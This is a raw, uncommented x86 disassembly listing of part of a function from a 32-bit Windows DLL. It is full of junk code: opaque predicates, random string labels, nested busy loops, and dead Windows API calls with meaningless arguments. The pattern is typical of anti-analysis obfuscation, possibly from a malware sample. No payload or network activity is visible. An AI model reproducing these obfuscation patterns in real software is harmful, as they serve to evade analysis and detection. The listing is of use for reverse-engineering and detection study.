mov dword [ebp - 0x7ac], 1
mov eax, dword [ebp - 0x128]
cmp dword [ebp - 0x7ac], eax
jge 0x1001b547
xor eax, eax
inc eax
je 0x1001b547
mov dword [ebp - 0x9ec], 1
jmp 0x1001b54e
and dword [ebp - 0x9ec], 0
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0xda4], eax
push 5
pop eax
cmp eax, 5
jb 0x1001b56e
mov dword [ebp - 0x62c], 1
jmp 0x1001b575
and dword [ebp - 0x62c], 0
mov eax, dword [ebp - 0x2d0]
cmp dword [ebp - 0x62c], eax
je 0x1001b58f
mov dword [ebp - 0x914], 1
jmp 0x1001b596
and dword [ebp - 0x914], 0
mov eax, dword [ebp - 0x914]
mov dword [ebp - 0x634], eax
mov eax, dword [ebp - 0x634]
mov dword [ebp - 0xdac], eax
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0xdb4], eax
mov eax, 0x89c89462
cmp eax, 5
jne 0x1001b5d0
mov dword [ebp - 0x7b4], 1
jmp 0x1001b5d7
and dword [ebp - 0x7b4], 0
mov eax, dword [ebp - 0x7b4]
mov dword [ebp - 0x63c], eax
mov dword [ebp - 0x48], 2
and dword [ebp - 0x214], 0
jmp 0x1001b5fb
cmp dword [ebp - 0x48], 0x1e
jae 0x1001c9d6
mov dword [ebp - 0x3b4], 0xc07e17f7
mov dword [ebp - 0x874], 5
mov dword [ebp - 0x9f8], 0x12d2
mov dword [ebp - 0x644], 0x6c9cd49f
mov dword [ebp - 0xb28], 0xed40a165
mov dword [ebp - 0x8d4], 0x497f
mov dword [ebp - 0xa04], str.opqwx_kims_jswxay_jkrbrf
cmp dword [ebp - 0x8d4], 0x4af1
jle 0x1001b731
and dword [ebp - 0x278], 0
jmp 0x1001b671
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0x5db3
jge 0x1001b731
and dword [ebp - 0x300], 0
jmp 0x1001b697
cmp dword [ebp - 0x300], 0x7f67
jge 0x1001b72c
and dword [ebp - 0x280], 0
jmp 0x1001b6bd
cmp dword [ebp - 0x280], 0x68d7
jge 0x1001b727
jmp 0x1001b664
mov eax, dword [ebp - 0x3b4]
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x9f8]
mov dword [ebp - 0x644], eax
mov eax, dword [ebp - 0x874]
sub eax, dword [ebp - 0x644]
cmp eax, dword [ebp - 0x3b4]
jge 0x1001b769
mov dword [ebp - 0x7bc], 1
jmp 0x1001b770
and dword [ebp - 0x7bc], 0
mov eax, dword [ebp - 0x3b4]
cmp dword [ebp - 0x7bc], eax
jne 0x1001b78a
mov dword [ebp - 0x64c], 1
jmp 0x1001b791
and dword [ebp - 0x64c], 0
mov eax, dword [ebp - 0x64c]
mov dword [ebp - 0xb28], eax
mov dword [ebp - 4], 0x20
cmp dword [ebp - 0x8d4], 0x469a
jge 0x1001b7bc
push dword [ebp - 0xa04]
call fcn.10046ccf
pop ecx
jmp 0x1001b7d8
or dword [ebp - 4], 0xffffffff
jmp 0x1001b7e2
mov byte [ebp - 0xff], 0
movzx eax, byte [ebp - 0xff]
test eax, eax
je 0x1001b804
mov dword [ebp - 0x21c], 0xffffffff
push 4
lea ecx, [ebp - 0xc44]
call fcn.1000354d
mov dword [ebp - 4], 0x29
mov dword [ebp - 0xabc], 0
mov dword [ebp - 0xa7c], 1
mov dword [ebp - 0xacc], 1
mov dword [ebp - 0xea4], 0x1054d814
mov dword [ebp - 0x3c], 0
jmp 0x1001ca2c
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 4
jge 0x1001ca48
push dword [ebp - 0x3c]
lea ecx, [ebp - 0xc44]
call fcn.100035ec
mov dword [eax], 0xfffffffb
jmp 0x1001ca25
mov dword [ebp - 0x3c], 0
jmp 0x1001ca58
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 3
jge 0x1001ca6e
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0xe68], 0x7e4f
jmp 0x1001ca51
mov dword [ebp - 0x3c], 0
jmp 0x1001ca7e
cmp dword [ebp - 0x3c], 2
jge 0x1001ca94
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0xa6c], 0xcb97
jmp 0x1001ca77
mov byte [ebp - 0xde], 0
movzx eax, byte [ebp - 0xde]
test eax, eax
je 0x1001cab3
mov dword [ebp - 0xb4], 0x8256a9ef
mov dword [ebp - 0xc0], 0xfffffff7
mov dword [ebp - 0x358], 1
mov dword [ebp - 0xad0], 0
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0xed4], eax
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0xedc], eax
cmp dword [ebp - 0xb4], 0
jne 0x1001d7d2
mov eax, dword [ebp - 0xb4]
cmp eax, dword [ebp - 0xb4]
jl 0x1001d7b7
mov dword [ebp - 0x600], 1
jmp 0x1001d7be
and dword [ebp - 0x600], 0
mov eax, dword [ebp - 0x600]
add eax, 3
jne 0x1001d7d2
and dword [ebp - 0x608], 0
jmp 0x1001d7dc
mov dword [ebp - 0x608], 1
mov eax, dword [ebp - 0xb4]
cmp eax, dword [ebp - 0x608]
jge 0x1001d7ff
cmp dword [ebp - 0xc0], 0
je 0x1001d7ff
mov dword [ebp - 0x610], 1
jmp 0x1001d806
and dword [ebp - 0x610], 0
mov eax, dword [ebp - 0x610]
mov dword [ebp - 0x358], eax
mov eax, 0x407858f9
test eax, eax
je 0x1001d88a
mov dword [ebp - 0x284], 0
jmp 0x1001d834
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 2
jge 0x1001d850
mov eax, dword [ebp - 0x284]
mov dword [ebp + eax*4 - 0xe00], 0x4dbb
jmp 0x1001d827
mov dword [ebp - 0xc0], 0
jmp 0x1001d869
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 2
jge 0x1001d885
mov eax, dword [ebp - 0xc0]
mov dword [ebp + eax*4 - 0xe00], 0x5440
jmp 0x1001d85c
jmp 0x1001d9eb
mov dword [ebp - 0x294], 0x373a4c92
mov dword [ebp - 0x618], 0x57f39cee
push 1
lea ecx, [ebp - 0xc5c]
call fcn.1000354d
mov dword [ebp - 4], 0x34
mov dword [ebp - 0x628], 0
mov dword [ebp - 0x28c], 0
jmp 0x1001d8d5
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 1
jge 0x1001d8f4
push dword [ebp - 0x28c]
lea ecx, [ebp - 0xc5c]
call fcn.100035ec
and dword [eax], 0
jmp 0x1001d8c8
mov eax, dword [ebp - 0x294]
mov dword [ebp - 0xee4], eax
mov eax, dword [ebp - 0x294]
mov dword [ebp - 0xeec], eax
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0xeb8], eax
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x618], eax
mov eax, dword [ebp - 0x618]
mov dword [ebp - 0x358], eax
mov eax, dword [ebp - 0x358]
cmp eax, dword [ebp - 0xc0]
jg 0x1001d94a
mov dword [ebp - 0x620], 1
jmp 0x1001d951
and dword [ebp - 0x620], 0
push 0
lea ecx, [ebp - 0xc5c]
call fcn.100035ec
mov ecx, dword [ebp - 0x620]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0xc5c]
call fcn.100035ec
mov eax, dword [eax]
inc eax
test eax, eax
jg 0x1001d986
mov dword [ebp - 0xbd4], 1
jmp 0x1001d98d
and dword [ebp - 0xbd4], 0
mov eax, dword [ebp - 0x294]
mov dword [ebp - 0xe10], eax
mov eax, dword [ebp - 0x294]
mov dword [ebp - 0xd50], eax
mov eax, dword [ebp - 0xb4]
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 0x9e14
jg 0x1001d9c9
mov dword [ebp - 0x630], 1
jmp 0x1001d9d0
and dword [ebp - 0x630], 0
mov eax, dword [ebp - 0x630]
mov dword [ebp - 0xad0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc5c]
call fcn.100035d0
cmp dword [0x1013e3d8], 0
je 0x1001ec85
mov eax, dword [ebp + 8]
mov dword [ebp - 0x980], eax
mov dword [ebp - 0x28], 0x4ad7
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x16c], 0x415051ac
mov dword [ebp - 0xcc], 0xffffffff
mov dword [ebp - 0x124], 1
mov dword [ebp - 0x11c], 0xc75d
mov dword [ebp - 0xae0], 0x88b7
mov dword [ebp - 0x718], 5
mov dword [ebp - 0x29c], 0
jmp 0x1001da67
mov eax, dword [ebp - 0x29c]
inc eax
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 2
jge 0x1001da83
mov eax, dword [ebp - 0x29c]
mov dword [ebp + eax*4 - 0xc90], 0
jmp 0x1001da5a
mov dword [ebp - 0x710], 0x647a
mov dword [ebp - 0x974], str.fcwowvayn_pby_vyzj_ncpdmrk_vlivi_aputv_mch_rkcwynbic_sytruv_droubxx
cmp dword [ebp - 0x710], 0x671e
jle 0x1001db93
and dword [ebp - 0x2a4], 0
jmp 0x1001dabd
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0x26a8
jge 0x1001db86
and dword [ebp - 0x2ac], 0
jmp 0x1001dae3
mov eax, dword [ebp - 0x2ac]
inc eax
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0x5c10
jge 0x1001db81
and dword [ebp - 0x2b4], 0
jmp 0x1001db09
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0x34ec
jge 0x1001db7c
and dword [ebp - 0x2bc], 0
jmp 0x1001db2b
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 0x198e
jge 0x1001db7a
mov eax, dword [ebp - 0x2a4]
imul eax, dword [ebp - 0x2ac]
cdq
idiv dword [ebp - 0x2b4]
mov ecx, dword [ebp - 0x2bc]
shl edx, cl
mov eax, edx
cdq
mov dword [ebp - 0xa90], eax
mov dword [ebp - 0xa8c], edx
push dword [ebp - 0xa8c]
push dword [ebp - 0xa90]
mov ecx, 0x10079358
call fcn.100033d6
jmp 0x1001db1e
jmp 0x1001dafc
jmp 0x1001dad6
jmp 0x1001dab0
push 0
push 0x147d
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xea8], eax
cmp dword [ebp - 0x28], 0
je 0x1001dbb0
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x28]
jge 0x1001dbb0
cmp dword [ebp - 0x28], 0
jne 0x1001dbbf
cmp dword [ebp - 0x28], 0
jne 0x1001dbbf
and dword [ebp - 0x638], 0
jmp 0x1001dbc9
mov dword [ebp - 0x638], 1
mov eax, dword [ebp - 0x638]
mov dword [ebp - 0x160], eax
mov eax, dword [ebp - 0x160]
imul eax, dword [ebp - 0x28]
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp - 0x16c]
cmp eax, dword [ebp - 0x28]
je 0x1001dbfc
mov dword [ebp - 0xb58], 1
jmp 0x1001dc03
and dword [ebp - 0xb58], 0
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xd58], eax
mov eax, 0x4e76
sub eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0xcc]
jg 0x1001dc31
cmp dword [ebp - 0x124], 0
je 0x1001dc31
mov dword [ebp - 0x640], 1
jmp 0x1001dc38
and dword [ebp - 0x640], 0
mov eax, dword [ebp - 0x640]
sub eax, dword [ebp - 0x124]
add eax, dword [ebp - 0xcc]
cmp eax, 0xfcb8f1fe
jae 0x1001dc5d
mov dword [ebp - 0x648], 1
jmp 0x1001dc64
and dword [ebp - 0x648], 0
mov eax, dword [ebp - 0xcc]
cmp dword [ebp - 0x648], eax
jge 0x1001dc7e
mov dword [ebp - 0x650], 1
jmp 0x1001dc85
and dword [ebp - 0x650], 0
cmp dword [ebp - 0x650], 0x4bca
jge 0x1001dc9d
mov dword [ebp - 0x658], 1
jmp 0x1001dca4
and dword [ebp - 0x658], 0
cmp dword [ebp - 0x658], 0
jne 0x1001dcc2
cmp dword [ebp - 0x16c], 0
je 0x1001dcc2
mov dword [ebp - 0x660], 1
jmp 0x1001dcc9
and dword [ebp - 0x660], 0
mov eax, dword [ebp - 0xcc]
add eax, dword [ebp - 0x660]
cmp dword [ebp - 0x28], eax
jg 0x1001dce6
mov dword [ebp - 0x668], 1
jmp 0x1001dced
and dword [ebp - 0x668], 0
mov eax, dword [ebp - 0x124]
imul eax, dword [ebp - 0x668]
dec eax
cmp eax, dword [ebp - 0x11c]
jge 0x1001dd0f
mov dword [ebp - 0x670], 1
jmp 0x1001dd16
and dword [ebp - 0x670], 0
cmp dword [ebp - 0x670], 0xfffb
jae 0x1001de2f
mov dword [ebp - 0x678], 5
mov dword [ebp - 0x360], 0x41a59c3c
mov byte [ebp - 0xe5], 0
movzx eax, byte [ebp - 0xe5]
test eax, eax
je 0x1001dd58
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
mov dword [ebp - 0x678], 0x2d49
mov eax, dword [ebp - 0x678]
mov dword [ebp - 0xe2c], eax
mov eax, dword [ebp - 0x360]
mov dword [ebp - 0xd60], eax
cmp dword [ebp - 0x360], 0
je 0x1001de14
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x360]
jg 0x1001dd9e
mov dword [ebp - 0x680], 1
jmp 0x1001dda5
and dword [ebp - 0x680], 0
cmp dword [ebp - 0x680], 0xd5297f1f
jae 0x1001ddbe
xor eax, eax
jne 0x1001ddbe
and dword [ebp - 0xad8], 0
jmp 0x1001ddc8
mov dword [ebp - 0xad8], 1
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0xee8], eax
cmp dword [ebp - 0x124], 0x7d4e785e
jne 0x1001ddec
mov dword [ebp - 0xb9c], 1
jmp 0x1001ddf3
and dword [ebp - 0xb9c], 0
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0xd68], eax
mov eax, 0x979
test eax, eax
je 0x1001de14
mov dword [ebp - 0x688], 1
jmp 0x1001de1b
and dword [ebp - 0x688], 0
mov eax, dword [ebp - 0x688]
shl eax, 2
mov dword [ebp - 0x160], eax
jmp 0x1001e0ca
mov dword [ebp - 0x368], 0xf874340c
mov dword [ebp - 0x2c4], 0xffffffff
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0xe3c], eax
xor eax, eax
inc eax
sub eax, dword [ebp - 0x368]
je 0x1001de6f
cmp dword [ebp - 0xae0], 0
je 0x1001de6f
mov dword [ebp - 0x690], 1
jmp 0x1001de76
and dword [ebp - 0x690], 0
mov eax, dword [ebp - 0x368]
cmp dword [ebp - 0x690], eax
jg 0x1001de90
mov dword [ebp - 0x698], 1
jmp 0x1001de97
and dword [ebp - 0x698], 0
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x698]
cmp eax, 0xfffffffc
je 0x1001deb1
mov dword [ebp - 0x6a0], 1
jmp 0x1001deb8
and dword [ebp - 0x6a0], 0
mov dword [ebp - 0x160], 0x7260e960
mov eax, dword [ebp - 0x160]
cmp eax, dword [ebp - 0x6a0]
jge 0x1001dedc
mov dword [ebp - 0x6a8], 1
jmp 0x1001dee3
and dword [ebp - 0x6a8], 0
mov eax, dword [ebp - 0x6a8]
sub eax, dword [ebp - 0x11c]
imul eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 0x2c4]
jne 0x1001df0a
mov dword [ebp - 0x6b0], 1
jmp 0x1001df11
and dword [ebp - 0x6b0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xc90]
cmp dword [ebp - 0x6b0], eax
jl 0x1001df32
mov dword [ebp - 0x6b8], 1
jmp 0x1001df39
and dword [ebp - 0x6b8], 0
mov eax, dword [ebp - 0x6b8]
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0
je 0x1001df5a
mov dword [ebp - 0x6c0], 1
jmp 0x1001df61
and dword [ebp - 0x6c0], 0
mov eax, dword [ebp - 0x6c0]
add eax, 0x401b
cmp eax, 0xb1e1499
jle 0x1001df7f
mov dword [ebp - 0x6c8], 1
jmp 0x1001df86
and dword [ebp - 0x6c8], 0
mov eax, dword [ebp - 0x6c8]
sub eax, 0x82240a4
cmp eax, dword [ebp - 0x11c]
jg 0x1001dfa5
mov dword [ebp - 0x6d0], 1
jmp 0x1001dfac
and dword [ebp - 0x6d0], 0
mov eax, dword [ebp - 0x2c4]
add eax, dword [ebp - 0x6d0]
cmp eax, dword [ebp - 0xcc]
jle 0x1001dfcc
mov dword [ebp - 0x6d8], 1
jmp 0x1001dfd3
and dword [ebp - 0x6d8], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x6d8], eax
jge 0x1001dfea
mov dword [ebp - 0x6e0], 1
jmp 0x1001dff1
and dword [ebp - 0x6e0], 0
cmp dword [ebp - 0x6e0], 9
jg 0x1001e006
mov dword [ebp - 0xb68], 1
jmp 0x1001e00d
and dword [ebp - 0xb68], 0
mov eax, dword [ebp - 0x2c4]
mov dword [ebp - 0xd70], eax
cmp dword [ebp - 0x124], 0
jne 0x1001e02e
mov dword [ebp - 0x6e8], 1
jmp 0x1001e035
and dword [ebp - 0x6e8], 0
cmp dword [ebp - 0x6e8], 1
jge 0x1001e04d
cmp dword [ebp - 0x28], 0
jne 0x1001e04d
and dword [ebp - 0x6f0], 0
jmp 0x1001e057
mov dword [ebp - 0x6f0], 1
mov eax, dword [ebp - 0xcc]
cmp eax, dword [ebp - 0x6f0]
jle 0x1001e071
mov dword [ebp - 0x6f8], 1
jmp 0x1001e078
and dword [ebp - 0x6f8], 0
mov eax, dword [ebp - 0x2c4]
cmp dword [ebp - 0x6f8], eax
jne 0x1001e092
mov dword [ebp - 0x700], 1
jmp 0x1001e099
and dword [ebp - 0x700], 0
mov eax, dword [ebp - 0x368]
add eax, dword [ebp - 0x700]
mov dword [ebp - 0x708], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x708]
mov dword [ebp + eax - 0xc90], ecx
mov eax, dword [ebp - 0x708]
mov dword [ebp - 0x718], eax
mov dword [ebp - 4], 0x35
cmp dword [ebp - 0x710], 0x633e
jge 0x1001e0ed
mov edx, dword [ebp - 0x974]
mov ecx, 0x10079358
call fcn.1000562f
jmp 0x1001e109
or dword [ebp - 4], 0xffffffff
jmp 0x1001e113
mov eax, dword [ebp - 0xcc]
mov dword [ebp - 0x718], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x9a0], eax
push 3
lea ecx, [ebp - 0x900]
call fcn.1000354d
mov dword [ebp - 4], 0x37
push 3
lea ecx, [ebp - 0xc14]
call fcn.1000354d
mov byte [ebp - 4], 0x38
mov dword [ebp - 0x2cc], 0x27f355c0
mov dword [ebp - 0x9c], 0
jmp 0x1001e170
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 3
jge 0x1001e192
push dword [ebp - 0x9c]
lea ecx, [ebp - 0x900]
call fcn.100035ec
mov dword [eax], 0x2fd41e55
jmp 0x1001e163
mov dword [ebp - 0x9c], 0
jmp 0x1001e1ab
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 3
jge 0x1001e1cd
push dword [ebp - 0x9c]
lea ecx, [ebp - 0xc14]
call fcn.100035ec
mov dword [eax], 0x56a3367f
jmp 0x1001e19e
push 1
lea ecx, [ebp - 0x900]
call fcn.100035ec
cmp dword [eax], 0
je 0x1001e228
mov dword [ebp - 0x720], 0x62e0
mov esi, dword [ebp - 0x720]
sub esi, dword [ebp - 0x720]
push 0
lea ecx, [ebp - 0xc14]
call fcn.100035ec
mov dword [eax], esi
mov byte [ebp - 0xfd], 0
movzx eax, byte [ebp - 0xfd]
test eax, eax
je 0x1001e223
push 0x244a
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
jmp 0x1001e3eb
mov dword [ebp - 0xbcc], 6
mov dword [ebp - 0xbc8], 6
mov dword [ebp - 0xbc4], 6
mov dword [ebp - 0xbc0], 6
mov dword [ebp - 0x758], 1
mov dword [ebp - 0x770], 1
mov dword [ebp - 0x978], 0x66ac3a60
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbcc]
mov dword [ebp - 0xeb0], eax
push 1
lea ecx, [ebp - 0x900]
call fcn.100035ec
mov eax, 0x3dc99cdf
test eax, eax
jl 0x1001e2a3
mov dword [ebp - 0x728], 1
jmp 0x1001e2aa
and dword [ebp - 0x728], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0xbcc]
cmp dword [ebp - 0x728], eax
jl 0x1001e2cb
mov dword [ebp - 0x730], 1
jmp 0x1001e2d2
and dword [ebp - 0x730], 0
cmp dword [ebp - 0x730], 0x56df
je 0x1001e2ea
mov dword [ebp - 0x738], 1
jmp 0x1001e2f1
and dword [ebp - 0x738], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xbcc]
cmp dword [ebp - 0x738], eax
jge 0x1001e312
mov dword [ebp - 0x740], 1
jmp 0x1001e319
and dword [ebp - 0x740], 0
push 1
lea ecx, [ebp - 0x900]
call fcn.100035ec
mov ecx, dword [ebp - 0x740]
cmp ecx, dword [eax]
jne 0x1001e33c
mov dword [ebp - 0x748], 1
jmp 0x1001e343
and dword [ebp - 0x748], 0
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0xbcc]
add esi, dword [ebp - 0x748]
push 1
lea ecx, [ebp - 0x900]
call fcn.100035ec
cmp esi, dword [eax]
je 0x1001e373
mov dword [ebp - 0x750], 1
jmp 0x1001e37a
and dword [ebp - 0x750], 0
mov eax, dword [ebp - 0x750]
mov dword [ebp - 0x758], eax
cmp dword [ebp - 0x758], 0
je 0x1001e3a2
push 2
pop eax
test eax, eax
je 0x1001e3a2
mov dword [ebp - 0x760], 1
jmp 0x1001e3a9
and dword [ebp - 0x760], 0
push 1
lea ecx, [ebp - 0x900]
call fcn.100035ec
mov eax, dword [eax]
cmp eax, dword [ebp - 0x760]
je 0x1001e3cc
mov dword [ebp - 0x768], 1
jmp 0x1001e3d3
and dword [ebp - 0x768], 0
mov eax, dword [ebp - 0x768]
mov dword [ebp - 0x770], eax
mov eax, dword [ebp - 0x770]
mov dword [ebp - 0x978], eax
mov dword [ebp - 0x2cc], 0
jmp 0x1001e404
mov eax, dword [ebp - 0x2cc]
dec eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0xfffffff6
jg 0x1001e447
mov byte [ebp - 0xe7], 0
movzx eax, byte [ebp - 0xe7]
test eax, eax
je 0x1001e425
call dword [sym.imp.USER32.dll_WaitMessage]
push 0
lea ecx, [ebp - 0xc14]
call fcn.100035ec
mov esi, eax
push 1
lea ecx, [ebp - 0x900]
call fcn.100035ec
mov eax, dword [eax]
mov dword [esi], eax
jmp 0x1001e3f7
mov byte [ebp - 4], 0x37
lea ecx, [ebp - 0xc14]
call fcn.100035d0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x900]
call fcn.100035d0
mov eax, dword [ebp - 0x980]
mov dword [ebp - 0x9b0], eax
mov dword [ebp - 0x54], 0x7d8cf4c5
mov dword [ebp - 0x24], 0xd77cccae
mov dword [ebp - 0x148], 0xd7276cc
mov dword [ebp - 0x778], 0x1cc3
mov dword [ebp - 0x990], str.qhfhpwgd_rourbrcmz_gegprznzv_bkrpwf_ilfrfm_rjezwz_kymdlgumi_pvs_uedvrew_hesklcjo_xkxwf
cmp dword [ebp - 0x778], 0x1ffd
jle 0x1001e564
push 0
push 0xded
push 0x692
push 0x1433
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
and dword [ebp - 0x2d4], 0
jmp 0x1001e4da
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0x2bd0
jge 0x1001e564
and dword [ebp - 0x2dc], 0
jmp 0x1001e4fc
mov eax, dword [ebp - 0x2dc]
inc eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0x1c0
jge 0x1001e55f
mov eax, dword [ebp - 0x2d4]
and eax, dword [ebp - 0x2dc]
cdq
mov dword [ebp - 0xa9c], eax
mov dword [ebp - 0xa98], edx
push dword [ebp - 0xa98]
push dword [ebp - 0xa9c]
lea ecx, [ebp - 0xfc0]
call fcn.10001ac4
pop ecx
pop ecx
mov dword [ebp - 0x988], eax
mov ecx, dword [ebp - 0x988]
call fcn.100033b6
push eax
call fcn.10046ccf
pop ecx
lea ecx, [ebp - 0xfc0]
call fcn.100033ac
jmp 0x1001e4ef
jmp 0x1001e4cd
mov dword [ebp - 4], 0x39
cmp dword [ebp - 0x778], 0x1caf
jge 0x1001e583
push dword [ebp - 0x990]
call fcn.10046ccf
pop ecx
jmp 0x1001e59f
or dword [ebp - 4], 0xffffffff
jmp 0x1001e5a9
mov dword [ebp - 0x2e4], 0
jmp 0x1001e5c2
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 1
jge 0x1001e5db
mov eax, dword [ebp - 0x2e4]
mov dword [ebp + eax*4 - 0x44], 0xfffffff6
jmp 0x1001e5b5
mov byte [ebp - 0xd6], 0
movzx eax, byte [ebp - 0xd6]
test eax, eax
je 0x1001e602
push 0x23a2
push 0x1a66
push 0x9f6
call dword [sym.imp.KERNEL32.dll_MulDiv]
imul eax, dword [ebp - 0x54], 0x3785
cmp eax, 0xccb97252
jb 0x1001e61c
mov dword [ebp - 0x780], 1
jmp 0x1001e623
and dword [ebp - 0x780], 0
cmp dword [ebp - 0x54], 0
jge 0x1001e635
mov dword [ebp - 0x788], 1
jmp 0x1001e63c
and dword [ebp - 0x788], 0
mov eax, dword [ebp - 0x780]
sub eax, dword [ebp - 0x788]
add eax, 0x664a1160
mov ecx, dword [ebp - 0x54]
neg ecx
cmp ecx, eax
jg 0x1001e66b
mov eax, 0xb4709ba8
test eax, eax
je 0x1001e66b
mov dword [ebp - 0x790], 1
jmp 0x1001e672
and dword [ebp - 0x790], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x790], eax
je 0x1001e699
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x44], 0
jne 0x1001e699
cmp dword [ebp - 0x54], 0
jne 0x1001e699
and dword [ebp - 0x798], 0
jmp 0x1001e6a3
mov dword [ebp - 0x798], 1
mov eax, dword [ebp - 0x798]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x1001e6b6
cmp dword [ebp - 0x24], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x44]
cmp ecx, dword [ebp + eax - 0x44]
jle 0x1001e6d8
mov dword [ebp - 0x998], 1
jmp 0x1001e6df
and dword [ebp - 0x998], 0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xd78], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xe4c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x44], 0xc78ef8a6
je 0x1001e70d
mov dword [ebp - 0x7a0], 1
jmp 0x1001e714
and dword [ebp - 0x7a0], 0
mov eax, dword [ebp - 0x7a0]
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0
je 0x1001e898
mov dword [ebp - 0x70], 0x791f9e6a
mov dword [ebp - 0x7c8], 0x1af6658d
mov dword [ebp - 0x7b8], 0xc160ec25
mov eax, dword [ebp - 0x70]
dec eax
mov dword [ebp - 0x70], eax
imul eax, dword [ebp - 0x70], 0xfffffff6
cmp dword [ebp - 0x24], eax
jge 0x1001e764
mov dword [ebp - 0x7a8], 1
jmp 0x1001e76b
and dword [ebp - 0x7a8], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x7a8], eax
jge 0x1001e782
mov dword [ebp - 0x7b0], 1
jmp 0x1001e789
and dword [ebp - 0x7b0], 0
mov eax, dword [ebp - 0x7b0]
mov dword [ebp - 0x24], eax
imul eax, dword [ebp - 0x24], 0xffff
mov dword [ebp - 0x7b8], eax
mov eax, dword [ebp - 0x7b8]
imul eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x70]
jle 0x1001e7ba
mov dword [ebp - 0x7c0], 1
jmp 0x1001e7c1
and dword [ebp - 0x7c0], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
push 4
pop edx
imul edx, edx, 0
mov edx, dword [ebp + edx - 0x44]
add edx, dword [ebp - 0x7c0]
sub edx, dword [ebp + ecx - 0x44]
sub edx, dword [ebp + eax - 0x44]
cmp edx, 1
jne 0x1001e7f6
mov dword [ebp - 0x7d0], 1
jmp 0x1001e7fd
and dword [ebp - 0x7d0], 0
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x7c8], eax
mov eax, dword [ebp - 0x7c8]
imul eax, dword [ebp - 0x7d0]
cmp eax, 0xd5d742c
je 0x1001e826
mov dword [ebp - 0x7d8], 1
jmp 0x1001e82d
and dword [ebp - 0x7d8], 0
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x7d8], eax
jge 0x1001e844
mov dword [ebp - 0x7e0], 1
jmp 0x1001e84b
